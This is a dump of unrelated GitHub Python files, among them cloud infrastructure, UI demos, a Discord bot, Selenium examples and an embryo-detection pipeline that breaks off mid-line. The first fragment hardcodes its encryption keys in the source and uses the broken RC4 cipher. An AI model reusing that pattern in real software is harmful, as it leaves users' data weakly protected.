self.PORT))\r\n sock.send(data)\r\n sock.settimeout(5)\r\n try:\r\n response = sock.recv(1024)\r\n except socket.timeout:\r\n response = \"timeout\"\r\n sock.close()\r\n return response\r\n\r\n @staticmethod\r\n def __cipher_RC4():\r\n key = b'Very long and confidential key'\r\n nonce = Random.new().read(16)\r\n tempkey = SHA.new(key + nonce).digest()\r\n cipher = ARC4.new(tempkey)\r\n return cipher, nonce\r\n\r\n @staticmethod\r\n def __cipher_AES():\r\n key = b'Very long and co'\r\n nonce = number.getRandomInteger(128)\r\n ctr = Counter.new(128, initial_value=nonce)\r\n cipher = AES.new(key, AES.MODE_CTR, counter=ctr)\r\n\r\n return cipher, bytes(str(nonce), 'utf-8')\r\n\r\n\r\nclass Simulator(object):\r\n \"\"\"\r\n Generate a simulated samples vector\r\n \"\"\"\r\n\r\n def __init__(self, image, mode=''):\r\n self.mode = mode\r\n self.image = image\r\n self.counter = 0\r\n self.masks = []\r\n m = Masks()\r\n np.random.seed(1)\r\n if mode == \"random\":\r\n self.masks = m.generate_random(\r\n self.image.shape[0]*self.image.shape[0], self.image.shape[0])\r\n elif mode == \"hadamard\":\r\n self.masks = m.generate_hadamard(\r\n self.image.shape[0]*self.image.shape[0], self.image.shape[0])\r\n\r\n def get_sample(self):\r\n try:\r\n intensity = np.sum(self.masks[self.counter] * self.image)\r\n except:\r\n return EOFError\r\n self.counter += 1\r\n return intensity\r\n\r\n\r\nclass Image(object):\r\n def __init__(self):\r\n \"\"\"\r\n Constructor\r\n \"\"\"\r\n\r\n def return_image(self, size=64, path=''):\r\n \"\"\"\r\n Return image\r\n \"\"\"\r\n if path == '':\r\n r_image = self.__normalize_image(scipy.misc.face(), size)\r\n else:\r\n r_image = self.__normalize_image(plt.imread(path), size)\r\n return r_image\r\n\r\n @staticmethod\r\n def __normalize_image(image, size):\r\n n_image = image[:, :, 1]\r\n n_image = scipy.misc.imresize(n_image, [size, size])\r\n n_image = n_image.astype(\"float64\")\r\n return n_image\r\n\r\n\r\nclass Masks(object):\r\n \"\"\"\r\n Generate a vector of Masks\r\n \"\"\"\r\n\r\n def generate_hadamard(self, number, size):\r\n \"\"\"Generate a n hadamard matrix vector\"\"\"\r\n np.random.seed(1)\r\n ids = list(range(0, size*size))\r\n np.random.shuffle(ids)\r\n matrix_vector = []\r\n for i in range(0, number):\r\n hadamard_matrix = self.__hadamard(ids[i], size)\r\n matrix_vector.append(hadamard_matrix)\r\n np.random.seed(1)\r\n np.random.shuffle(matrix_vector)\r\n return matrix_vector\r\n\r\n def generate_random(self, number, size):\r\n \"\"\"Generate a random matrix vector\"\"\"\r\n matrix_vector = []\r\n np.random.seed(1)\r\n for _ in range(0, number):\r\n random_matrix = (np.random.rand(size, size) < 0.5) * 1\r\n matrix_vector.append(random_matrix)\r\n return matrix_vector\r\n\r\n def __hadamard(self, id_num, size):\r\n \"\"\"\r\n Private Method\r\n Return a hadamard matrix\r\n \"\"\"\r\n order = int(math.log(size, 2))\r\n matrix_code = self.__base_convert(id_num, 4)\r\n padding = np.zeros(\r\n int(math.log(size**2, 4)) - len(matrix_code), dtype=\"int\")\r\n vector = np.concatenate((padding, matrix_code))\r\n vector = vector[::-1]\r\n v_m = [[1, 1, 1, -1], [1, 1, -1, 1], [1, -1, 1, 1], [-1, 1, 1, 1]]\r\n h_m = np.array([[1]])\r\n\r\n for i in range(0, order):\r\n h_m1 = np.concatenate((v_m[vector[i]][0] * h_m,\r\n v_m[vector[i]][2] * h_m))\r\n h_m2 = np.concatenate((v_m[vector[i]][1] * h_m,\r\n v_m[vector[i]][3] * h_m))\r\n h_m = np.concatenate((h_m1, h_m2), 1)\r\n\r\n return h_m\r\n\r\n @staticmethod\r\n def __base_convert(number, base):\r\n \"\"\"Convert number to a numerical base\"\"\"\r\n result = []\r\n if number == 0:\r\n return [0]\r\n while number > 0:\r\n result.insert(0, number % base)\r\n number = number // base\r\n return result\r\n\r\n\r\ndef imshow(image):\r\n \"\"\"\r\n Print image\r\n \"\"\"\r\n plt.figure()\r\n plt.gray()\r\n plt.imshow(image)\r\n plt.show()\r\n","repo_name":"eloymg/one","sub_path":"main_raspy.py","file_name":"main_raspy.py","file_ext":"py","file_size_in_byte":6518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73802663304","text":"import aws_cdk\nimport aws_cdk.aws_apigatewayv2_alpha\nimport aws_cdk.aws_apigatewayv2_integrations_alpha\nimport constructs\n\nfrom . import api\nfrom . import well_architected_construct\n\n\nclass ApiStepFunctions(well_architected_construct.WellArchitected):\n\n def __init__(\n self, scope: constructs.Construct, id: str,\n error_topic=None,\n state_machine_definition=None,\n state_machine=None,\n create_http_api=False,\n create_rest_api=False,\n **kwargs,\n ):\n super().__init__(\n scope, id,\n error_topic=error_topic,\n **kwargs,\n )\n # self.state_machine = self.create_express_state_machine(\n # state_machine_definition\n # )\n self.state_machine = state_machine\n self.api_gateway_service_role = self.create_api_gateway_service_role(\n self.state_machine.state_machine_arn\n )\n self.api_construct = self.create_api(\n create_http_api=create_http_api,\n create_rest_api=create_rest_api,\n error_topic=error_topic,\n api_gateway_service_role=self.api_gateway_service_role,\n state_machine=self.state_machine,\n )\n\n def create_express_state_machine(self, state_machine_definition=None, timeout=None, ):\n return aws_cdk.aws_stepfunctions.StateMachine(\n self, 'StateMachine',\n definition=state_machine_definition,\n timeout=timeout,\n tracing_enabled=True,\n state_machine_type=aws_cdk.aws_stepfunctions.StateMachineType.EXPRESS,\n )\n\n @staticmethod\n def state_machine_execution_permissions(state_machine_arn):\n return aws_cdk.aws_iam.PolicyDocument(\n statements=[\n aws_cdk.aws_iam.PolicyStatement(\n actions=[\"states:StartSyncExecution\"],\n effect=aws_cdk.aws_iam.Effect.ALLOW,\n resources=[state_machine_arn]\n )\n ]\n )\n\n def create_api_gateway_service_role(self, state_machine_arn):\n return aws_cdk.aws_iam.Role(\n self, 'StateMachineApiGatewayIamServiceRole',\n assumed_by=aws_cdk.aws_iam.ServicePrincipal('apigateway.amazonaws.com'),\n inline_policies={\n \"AllowSFNExec\": self.state_machine_execution_permissions(state_machine_arn)\n }\n )\n\n def create_http_api(\n self, error_topic=None, api_gateway_service_role=None, state_machine=None,\n ):\n api_construct = api.Api(\n self, 'HttpApiGateway',\n error_topic=error_topic,\n api_gateway_service_role=api_gateway_service_role,\n api=aws_cdk.aws_apigatewayv2_alpha.HttpApi(\n self, 'HttpApi',\n create_default_stage=True,\n ),\n )\n self.create_http_api_step_functions_route(\n self.create_http_api_stepfunctions_integration(\n state_machine_arn=state_machine.state_machine_arn,\n api_id=api_construct.api_id,\n api_gateway_service_role_arn=api_gateway_service_role.role_arn,\n )\n )\n return api_construct\n\n def create_http_api_step_functions_route(self, target):\n return aws_cdk.aws_apigatewayv2.CfnRoute(\n self, 'HttpApiStateMachineDefaultRoute',\n api_id=target.api_id,\n route_key=aws_cdk.aws_apigatewayv2_alpha.HttpRouteKey.DEFAULT.key,\n target=f'integrations/{target.ref}',\n )\n\n def create_http_api_stepfunctions_integration(\n self, state_machine_arn=None, api_id=None, api_gateway_service_role_arn=None,\n ):\n return aws_cdk.aws_apigatewayv2.CfnIntegration(\n self, 'HttpApiStateMachineIntegration',\n api_id=api_id,\n integration_type='AWS_PROXY',\n connection_type='INTERNET',\n integration_subtype='StepFunctions-StartSyncExecution',\n credentials_arn=api_gateway_service_role_arn,\n request_parameters={\n \"Input\": \"$request.body\",\n \"StateMachineArn\": state_machine_arn,\n },\n payload_format_version=\"1.0\",\n timeout_in_millis=10000\n )\n\n def create_rest_api(self, error_topic=None, state_machine=None, api_gateway_service_role=None):\n return api.Api(\n self, 'RestApi',\n error_topic=error_topic,\n api_gateway_service_role=api_gateway_service_role,\n api=aws_cdk.aws_apigateway.StepFunctionsRestApi(\n self, 'RestApiStepFunctions',\n state_machine=state_machine,\n deploy=True,\n )\n )\n\n def create_api(self,\n create_http_api=None, create_rest_api=None,\n error_topic=None, api_gateway_service_role=None,\n state_machine=None,\n ):\n if create_http_api:\n return self.create_http_api(\n error_topic=error_topic,\n state_machine=state_machine,\n api_gateway_service_role=api_gateway_service_role,\n )\n if create_rest_api:\n return self.create_rest_api(\n error_topic=error_topic,\n state_machine=state_machine,\n api_gateway_service_role=api_gateway_service_role,\n )\n","repo_name":"jadecobra/well_architected","sub_path":"well_architected_constructs/src/well_architected_constructs/api_step_functions.py","file_name":"api_step_functions.py","file_ext":"py","file_size_in_byte":5361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35171585487","text":"import numpy as np\nfrom imgui_bundle import implot, imgui_md, immapp\nfrom imgui_bundle.demos_python import demo_utils\n\n\ndef main():\n # This call is specific to the ImGui Bundle interactive manual. In a standard application, you could write:\n # hello_imgui.set_assets_folder(\"my_assets\"); # (By default, HelloImGui will search inside \"assets\")\n demo_utils.set_hello_imgui_demo_assets_folder()\n\n x = np.arange(0, np.pi * 4, 0.01)\n y1 = np.cos(x)\n y2 = np.sin(x)\n\n def gui():\n imgui_md.render(\"# This is the plot of _cosinus_ and *sinus*\") # Markdown\n if implot.begin_plot(\"Plot\"):\n implot.plot_line(\"y1\", x, y1)\n implot.plot_line(\"y2\", x, y2)\n implot.end_plot()\n\n immapp.run(gui, with_implot=True, with_markdown=True, window_size=(600, 400))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"pthom/imgui_bundle","sub_path":"bindings/imgui_bundle/demos_python/demos_immapp/demo_implot_markdown.py","file_name":"demo_implot_markdown.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":394,"dataset":"github-code","pt":"81"} +{"seq_id":"15317157994","text":"from django.conf import settings\nfrom django.conf.urls import patterns, include, url\nfrom django.views.generic import TemplateView\nfrom django.contrib import admin\n\n\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^$', TemplateView.as_view(template_name='base.html'), name='index'),\n url(r'^worlds/', include('worlds.urls', namespace=\"worlds\")),\n url(r'^admin/', include(admin.site.urls), name='admin'),\n)\n\nurlpatterns += patterns('',\n (r'^static/(.*)$', 'django.views.static.serve', {\n 'document_root': settings.STATIC_ROOT\n }),\n)","repo_name":"alexjj/dfworlds","sub_path":"dfworlds/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"2116176760","text":"import turtle\n\ndef main():\n global timmy\n \n timmy = turtle.Turtle()\n timmy.speed(0)\n\n square(200, -50, 75)\n square(25, -25, 50)\n square(25, 0, 50)\n square(25, -25, 25)\n square(25, 0, 25)\n square(25, 75, 50)\n square(25, 100, 50)\n square(25, 75, 25)\n square(25, 100, 25)\n rectangle(50, 75, 25, -50)\n square(5,65,-85)\n\n\ndef rectangle(width, height, x_start, y_start):\n timmy.penup()\n timmy.goto(x_start,y_start)\n timmy.pendown()\n timmy.forward(width)\n timmy.right(90)\n timmy.forward(height)\n timmy.right(90)\n timmy.forward(width)\n timmy.right(90)\n timmy.forward(height)\n timmy.right(90)\n\ndef square(width, x_start, y_start):\n rectangle(width, width, x_start, y_start)\n\nmain()","repo_name":"DerryHenderson/turtle-functions","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32107312246","text":"import cv2\nimport numpy as np\nfrom scipy import spatial\nimport os\n\ndef noMargin(img):\n height,width,c = img.shape\n new_img = []\n\n for x in range(height):\n if np.mean(img[x,:,:]) < 255.0:\n new_img.append(img[x,:,:])\n\n new_img = np.array(new_img)\n final_img = []\n for y in range(width):\n if np.mean(new_img[:,y,:]) < 255.0:\n final_img.append(new_img[:,y,:])\n\n return cv2.flip(np.array(final_img),2)\n\ndef addMargin(img):\n constant= cv2.copyMakeBorder(img,10,10,10,10,cv2.BORDER_CONSTANT,value=[255,255,255])\n return constant\n\ndef readData():\n path = '/home/julio/Documents/Dataset/GroceryModels/img/'\n path2 = '/home/julio/Documents/Dataset/GroceryModels/img_mod/'\n\n for label in os.listdir(path):\n for elem in os.listdir(path + label + '/'):\n #print path + label + '/' + elem\n img = cv2.imread(path + label + '/' + elem)\n img = noMargin(img)\n img = addMargin(img)\n #cv2.imshow('image',np.array(img))\n #cv2.waitKey(0)\n #cv2.destroyAllWindows()\n if not os.path.exists(path2 + label):\n os.makedirs(path2 + label)\n cv2.imwrite(path2 + label + '/' + elem,img)\n\nif __name__ == \"__main__\":\n readData()","repo_name":"JuliousHurtado/SuperMarketGrima","sub_path":"dataset/clean_data.py","file_name":"clean_data.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"26026023781","text":"from typing import Optional\n\nimport boto3\n\nfrom dstack._internal.backend.aws import utils as aws_utils\nfrom dstack._internal.backend.aws.config import DEFAULT_REGION\nfrom dstack._internal.backend.aws.logs import AWSLogging\nfrom dstack._internal.backend.aws.secrets import AWSSecretsManager\nfrom dstack._internal.backend.aws.storage import AWSStorage\nfrom dstack._internal.backend.base import ComponentBasedBackend\nfrom dstack._internal.backend.lambdalabs.compute import LambdaCompute\nfrom dstack._internal.backend.lambdalabs.config import LambdaConfig\nfrom dstack._internal.backend.lambdalabs.pricing import LambdaPricing\nfrom dstack._internal.core.instance import InstancePricing\nfrom dstack._internal.core.job import Job\n\n\nclass LambdaBackend(ComponentBasedBackend):\n NAME = \"lambda\"\n\n def __init__(\n self,\n backend_config: LambdaConfig,\n ):\n self.backend_config = backend_config\n self._compute = LambdaCompute(lambda_config=self.backend_config)\n self._session = boto3.session.Session(\n region_name=self.backend_config.storage_config.region,\n aws_access_key_id=self.backend_config.storage_config.credentials.access_key,\n aws_secret_access_key=self.backend_config.storage_config.credentials.secret_key,\n )\n self._storage = AWSStorage(\n s3_client=aws_utils.get_s3_client(self._session),\n bucket_name=self.backend_config.storage_config.bucket,\n namespace=self.name,\n )\n self._secrets_manager = AWSSecretsManager(\n secretsmanager_client=aws_utils.get_secretsmanager_client(\n self._session, region_name=DEFAULT_REGION\n ),\n iam_client=aws_utils.get_iam_client(self._session),\n sts_client=aws_utils.get_sts_client(self._session),\n bucket_name=self.backend_config.storage_config.bucket,\n )\n self._logging = AWSLogging(\n logs_client=aws_utils.get_logs_client(self._session, region_name=DEFAULT_REGION),\n bucket_name=self.backend_config.storage_config.bucket,\n )\n self._pricing = LambdaPricing()\n\n @classmethod\n def load(cls) -> Optional[\"LambdaBackend\"]:\n config = LambdaConfig.load()\n if config is None:\n return None\n return cls(config)\n\n def storage(self) -> AWSStorage:\n return self._storage\n\n def compute(self) -> LambdaCompute:\n return self._compute\n\n def secrets_manager(self) -> AWSSecretsManager:\n return self._secrets_manager\n\n def logging(self) -> AWSLogging:\n return self._logging\n\n def pricing(self) -> LambdaPricing:\n return self._pricing\n\n def run_job(\n self,\n job: Job,\n project_private_key: str,\n offer: InstancePricing,\n ):\n self._logging.create_log_groups_if_not_exist(\n self.backend_config.storage_config.bucket, job.repo_ref.repo_id\n )\n super().run_job(\n job,\n project_private_key=project_private_key,\n offer=offer,\n )\n","repo_name":"silvacarl2/dstack","sub_path":"cli/dstack/_internal/backend/lambdalabs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"81"} +{"seq_id":"13738582690","text":"# -- coding: utf-8 --\n# @Time : 2022/7/1 9:13\n# @Author : siyu.yang\n# 定位到元素后,需要对元素进行曹祖,常见的有鼠标点击、键盘操作等\n# 这取决于我们定位到的对象支撑那些操作。一般来说,所有与页面交互的\n# 的操作都是通过WebElement接口\nimport os,time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\ndriver_path = os.path.join(os.path.dirname(__file__),'../driver/chromedriver.exe')\ndriver = webdriver.Chrome(executable_path=driver_path)\ndriver.get('https://www.baidu.com')\ndriver.set_window_size(1920,1080)\ndriver.implicitly_wait(30)\n# webdriver 中常用的操作元素的方法有如下几个:\n# clear() 清除对象的内容 send_keys()在对象上模拟按键输入\nkw = driver.find_element(By.ID,'kw')\nkw.send_keys('webdriver 常用api操作')\ntime.sleep(1)\nkw.clear()\n# click() 单机对象,强调对象的独立性\ndriver.find_element(By.LINK_TEXT,'更多').click()\n# submit() : 提交表单,要求对象必须是表单\ndriver.find_element(By.ID,'form').submit()\nkw = driver.find_element(By.CSS_SELECTOR,'input#su')\nprint('返回对象的尺寸:',kw.size)\nprint('获取对象文本:',kw.text)\nprint('获取对象属性值:',kw.get_attribute('class'))\nprint('判断对象是否可见:',kw.is_displayed())\nprint('判断读写是否被禁用:',kw.is_enabled())\nprint('判断对象是被选中:',kw.is_selected())\nprint('获取对象标签名:',kw.tag_name)\nprint('获取对象标签名称:',kw.location)\nprint('获取元素坐标:',kw.location)\n\ntime.sleep(10)\ndriver.close()\ndriver.quit()\n\n\n\n","repo_name":"yangtingting123456/ui_base_projec","sub_path":"lianxi/常用元素操作api.py","file_name":"常用元素操作api.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"22088563269","text":"\"\"\"Command cog\"\"\"\nimport commands.command as cmd\nfrom discord.ext import commands\nimport database as db\nimport helpers as hp\nimport strings as st\nimport typing\nimport globals\nimport os\nimport logging\nimport messages\n\nevent_log = logging.getLogger('events')\n\n# Import project constants module\nif globals.TESTVERSION:\n import testconstants as cn\nelse:\n import constants as cn\n\n\nclass Main(cmd.AbstractCommand):\n \"\"\"Main component containing core commands and features\"\"\"\n\n def __init__(self):\n event_log.info(f\"Loading cog {os.path.basename(__file__)}\")\n super().__init__(os.path.basename(__file__))\n\n # wip command\n # Command used for creating puzzles and problems\n @commands.command(enabled=False)\n @cmd.in_channel(cn.TASKS_CHANNEL, cn.ADMIN_CHANNEL)\n async def new(self, ctx):\n if ctx.channel == self.server.get_channel(cn.ADMIN_CHANNEL):\n tchannel = self.bot.get_channel(cn.TASKS_CHANNEL)\n await tchannel.send(st.TASK_SUBMITED.format(ctx.author.name, cn.TASK_DONE_EMOJI))\n await ctx.pin()\n\n # Disabled command\n # Command used to purge all messages from channel\n @commands.command(name='purge', enabled=False)\n @commands.has_role(cn.ADMIN_ROLE)\n async def admin_purge(self, ctx, channel):\n # purges channel\n if channel is not None:\n await self.server.get_channel(int(channel)).purge(limit=None)\n else:\n await ctx.channel.send(st.PURGE_EMPTY_CHANNEL)\n\n # Command used to modify welcome message rules\n @commands.command(name='rule')\n @commands.guild_only()\n @cmd.in_channel(cn.DEV_CHANNEL, cn.ADMIN_CHANNEL, cn.TESTING_CHANNEL)\n @commands.has_any_role(cn.ADMIN_ROLE, cn.VEDUCI_ROLE)\n async def admin_rule(self, ctx, *args):\n\n async def complete():\n await messages.welcome_message()\n await ctx.message.add_reaction(emoji=cn.CHECKMARK_EMOJI)\n\n if len(args) != 0:\n data = globals.message_data['rules']\n keys = list(data.keys())\n if args[0] == \"add\" and len(args) == 2:\n data[str(int(keys[-1])+1)] = args[1]\n db.load_to_map(cn.FB_MSGS, \"rules\", \"list\", {str(int(keys[-1])+1): args[1]})\n await complete()\n elif args[0] == \"remove\" and len(args) == 2:\n try:\n del data[keys[int(args[1])-1]]\n db.remove_from_map(cn.FB_MSGS, \"rules\", \"list\", keys[int(args[1])-1])\n await complete()\n except Exception:\n raise self.RuleNotFound\n elif args[0] == \"edit\" and len(args) == 3:\n try:\n data[keys[int(args[1])-1]] = args[2]\n db.load_to_map(cn.FB_MSGS, \"rules\", \"list\", {keys[int(args[1])-1]: args[2]})\n await complete()\n except Exception:\n raise self.RuleNotFound\n else:\n raise commands.UserInputError()\n else:\n raise commands.UserInputError()\n\n # Command used to modify welcome message faqs\n @commands.command(name='faq')\n @commands.guild_only()\n @cmd.in_channel(cn.DEV_CHANNEL, cn.ADMIN_CHANNEL, cn.TESTING_CHANNEL)\n @commands.has_any_role(cn.ADMIN_ROLE, cn.VEDUCI_ROLE)\n async def admin_faq(self, ctx, *args):\n\n async def complete():\n await messages.welcome_message()\n await ctx.message.add_reaction(emoji=cn.CHECKMARK_EMOJI)\n\n if len(args) != 0:\n data = globals.message_data[\"faq\"]\n keys = list(data.keys())\n if args[0] == \"add\" and len(args) == 3:\n data[str(int(keys[-1])+1)] = {args[1]: args[2]}\n db.load_to_map(cn.FB_MSGS, \"faq\", \"list\", {str(int(keys[-1])+1): {args[1]: args[2]}})\n await complete()\n elif args[0] == \"remove\" and len(args) == 2:\n try:\n del data[keys[int(args[1])-1]]\n db.remove_from_map(cn.FB_MSGS, \"faq\", \"list\", keys[int(args[1])-1])\n await complete()\n except Exception:\n raise self.FaqNotFound\n elif args[0] == \"edit\" and len(args) == 4:\n try:\n key = list(data[keys[int(args[1])-1]].keys())[0]\n question = args[2] if args[2] != \"-\" else key\n answer = args[3] if args[3] != \"-\" else data[keys[int(args[1])-1]][key]\n data[keys[int(args[1])-1]] = {question: answer}\n db.update_map(cn.FB_MSGS, \"faq\", \"list\", keys[int(args[1])-1], {question: answer})\n await complete()\n except Exception:\n raise self.FaqNotFound\n else:\n raise commands.UserInputError\n else:\n raise commands.UserInputError\n\n # wip cpmmand\n # Command used to watch for changes in round results\n @commands.command(name='subscribe', aliases=['sub'], enabled=True)\n @commands.dm_only()\n async def subscribe(self, ctx):\n hp.create_user(str(ctx.author.id))\n arg = \" \".join(ctx.message.content.split()[1:]) # parses text after command\n if arg == \"list\":\n await ctx.channel.send(st.SUB_LIST.format('\\n'.join(globals.users[str(ctx.author.id)].subscribtions)))\n else:\n if arg not in globals.users[str(ctx.author.id)].subscribtions:\n globals.users[str(ctx.author.id)].subscribtions.append(arg)\n await ctx.channel.send(st.SUB_RESPONSE.format(arg))\n else:\n await ctx.channel.send(st.SUB_ERROR_EXISTING)\n\n # Command used to display seminar leaderboard\n @commands.command(name='lead')\n async def lead(self, ctx, seminar: typing.Optional[str]):\n for sem in globals.seminars:\n if sem.name == seminar or sem.name == ctx.channel.name:\n msg = (f\"👑 {sem.rounds[0].results[0].name}\\n\"\n f\" 2. {sem.rounds[0].results[1].name}\\n\"\n f\" 3. {sem.rounds[0].results[2].name}\\n\")\n await ctx.channel.send(msg)\n return\n raise commands.UserInputError\n","repo_name":"RedKinda/troj-stena","sub_path":"commands/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"19695781286","text":"from django import template\nfrom django.template import Context\nfrom sekizai.context import SekizaiContext\nfrom django.utils.safestring import mark_safe\nfrom maisen.cmstools.templatetags.cmstools_tags import striptags2, unescape\nfrom django.urls import NoReverseMatch\nfrom cms.plugin_rendering import render_plugins\n\nregister = template.Library()\n\n@register.simple_tag\ndef index_plugins(placeholder):\n try:\n if placeholder:\n out = render_plugins(placeholder.cmsplugin_set.all(),\n SekizaiContext(),\n None)\n out = \"\\n\".join(out)\n else:\n out = \"\"\n except (NoReverseMatch,):\n out = \"\"\n return mark_safe(unescape(striptags2(out)).strip())\n\n\n@register.filter\ndef result_url(result):\n if result:\n try:\n return result.object.get_public_url()\n except (AttributeError,):\n return result.object.get_absolute_url()\n return \"\"\n\n@register.filter\ndef result_title(result):\n if result:\n from cms.models import Page\n if isinstance(result.object, Page):\n title = result.object.get_title()\n else:\n title = result.object.title\n return u\"%s (%s)\" % (title, unicode(result.model._meta.verbose_name))\n return \"\"\n\n@register.filter\ndef result_description(result):\n if result:\n from cms.models import Page\n if isinstance(result.object, Page):\n return result.text\n return result.object.description\n return \"\"\n","repo_name":"maisengasse/project-py3-django2.1-cms3.6","sub_path":".ansible/provisioning/roles/project/templates/search/templatetags/search_tags.py","file_name":"search_tags.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12246923806","text":"__time__ = '2021/7/30'\n__author__ = 'ZhiYong Sun'\n\nfrom typing import List\n\n\"\"\"\n给定一个非负索引 rowIndex,返回“杨辉三角”的第 rowIndex 行。\n\n在“杨辉三角”中,每个数是它左上方和右上方的数的和。\n\"\"\"\n\n\nclass Solution:\n def getRow(self, rowIndex: int) -> List[int]:\n # 通项公式\n arr = [1] * (rowIndex + 1)\n for i in range(1, len(arr) - 1):\n arr[i] = arr[i - 1] * (rowIndex - i + 1) // i # 通向\n return arr\n\n\nclass Solution_:\n def getRow(self, rowIndex: int) -> List[int]:\n # 滚动数组\n # 可以从后往前,这样不需要辅助数组\n res = [1]\n\n for _ in range(rowIndex):\n tmp = res[:]\n for i in range(1, len(res)):\n res[i] = tmp[i] + tmp[i - 1]\n res.append(1)\n\n return res\n\n\nif __name__ == \"__main__\":\n nums = list(range(1, 8))\n for n in nums:\n print(Solution().getRow(n))\n print(Solution_().getRow(n))","repo_name":"Darius-sss/LeetCode","sub_path":"python文件/其他--119--杨辉三角 II.py","file_name":"其他--119--杨辉三角 II.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18549190384","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 6 11:43:13 2023\n\n@author: ebjam\n\"\"\"\n# ML imports\nfrom ultralytics import YOLO\nfrom skimage import feature, future #RF tools\n# Image/array handling imports\nimport cv2\nfrom shapely.geometry import Point, Polygon\nfrom PIL import Image, ImageDraw\n#import rasterio.features\nimport numpy\nimport numpy.ma as ma\n# Data/object handling imports\nimport os\nimport numpy as np\nfrom functools import partial #For feature function\nimport pickle\nimport csv\n\n\n\n#model_string = \"C:/Users/ebjam/Downloads/tile_embryo_detect_l_20230206.pt\"\n#input_folder = \"\"\n#dy96_folder = os.joinpath(input_folder, \"DY96\")\n#%% Defining functions\n'''\nWorkflow: For file in .result\nfor each file load DY96 image. For each worm segmentation, load transposed worm seg and bbox, temp crop to bbox, and run detectors\n\n\n'''\n# Defining the detectors\n\"\"\"\nCreated on Mon Feb 6 11:43:13 2023\n\n@author: ebjam\n\"\"\"\n# ML imports\nfrom ultralytics import YOLO\nfrom skimage import feature, future #RF tools\n# Image/array handling imports\nimport cv2\nfrom shapely.geometry import Point, Polygon\nfrom PIL import Image, ImageDraw\nfrom matplotlib.path import Path\n#import rasterio.features\nimport numpy\nimport numpy.ma as ma\n# Data/object handling imports\nimport os\nimport numpy as np\nfrom functools import partial #For feature function\nimport pickle\nimport csv\n\ndef load_info(input_folder):\n # Empty list to contain all loaded resut files\n todo = []\n # Load all files out of the gui\n result_list = [q for q in os.listdir(input_folder) if q.endswith(\".result\")]\n \n for result_file in result_list:\n # Load result file per image\n segmentation_record = os.path.join(input_folder, result_file)\n file = open(segmentation_record,'rb')\n seg_record = pickle.load(file)\n todo.append(seg_record)\n return(todo)\n\n# Embryo detection - debugged & working!!\n\ndef find_centers(theboxes):\n centerpoints = []\n for box in theboxes:\n xyxy = box.xyxy.tolist()\n xyxy = xyxy[0]\n cx = (xyxy[0] + xyxy[2])/2\n cy = (xyxy[1] + xyxy[3])/2\n cp = Point(cx, cy)\n centerpoints.append(cp)\n return(centerpoints)\n\ndef predict_embryos(todo, embryo_model_path, dy96_folder, embryos):\n #If not predicting embryos, just return the todo with nothing added\n if embryos == 0:\n print(\"No embryo detection selected.\")\n return(todo)\n #Otherwise, I suppose we should predict embryos...\n elif embryos == 1:\n print(\"Starting embryo detection.\")\n #Load model\n model = YOLO(embryo_model_path)\n # For image in imput images, load it's result file\n image_no = 1\n for record in todo:\n print(\" Working on image \" + str(image_no) + \" of \" + str(len(todo)))\n image_no +=1\n # Load the DY96 image to crop and analyze\n input_image = record['input_image']\n dy96_image_title = input_image[:-8] + \"DY96.png\"\n dy96_path = os.path.join(dy96_folder, dy96_image_title)\n dy96_image = cv2.imread(dy96_path)\n #Now iterate over predicted worms\n worm_number = 1\n for segmentation in record['single_worms']:\n # Crop in to specific worm bbox\n bbox = segmentation['bbox']\n cropped_to_bbox = dy96_image[int(bbox[1]):int(bbox[3]), int(bbox[0]):int(bbox[2])]\n # Predict embryos\n results = model.predict(source = np.ascontiguousarray(cropped_to_bbox), save=False, save_txt=False)\n # Get embryo centerpoints\n centerlist = find_centers(results[0].boxes)\n # Add both to dict\n segmentation['embryo_bboxes'] = results[0].boxes\n segmentation['embryo_centers'] = centerlist\n # Check worm segmentation for embryos\n # Load segmentation, make sure it's closed\n transposed_seg = segmentation['transposed_segmentation']\n # Convert segmentation into a list of tuples to plot polygon.\n seg_for_poly = [tuple(x) for x in transposed_seg]\n if seg_for_poly[0] != seg_for_poly[len(seg_for_poly)-1]:\n seg_for_poly.append(seg_for_poly[0])\n # Make polygon out of worm segmentation\n polygon = Polygon(seg_for_poly)\n internal_embryos = []\n listarray = []\n for point in centerlist:\n # If the point is inside the worm, then add the centerpoint to the internal embryo list.\n if polygon.contains(point):\n listarray.append([point.x, point.y])\n internal_embryos.append(point)\n segmentation['internal_embryo_points'] = internal_embryos\n segmentation['internal_embryo_centers'] = listarray\n segmentation['#_internal_embryos'] = len(internal_embryos)\n if worm_number % 2 == 0:\n print(\" Within image embryo detection \" + str(100 * (worm_number/len(record[\"single_worms\"])))[:5] + \"% complete.\")\n worm_number += 1\n return(todo)\n\n# Microsporidia - debugged up to prediction\n\nsigma_max = 16\nsigma_min = 1\nfeatures_func = partial(feature.multiscale_basic_features,\n intensity=True, edges=False, texture=False,\n sigma_min=sigma_min, 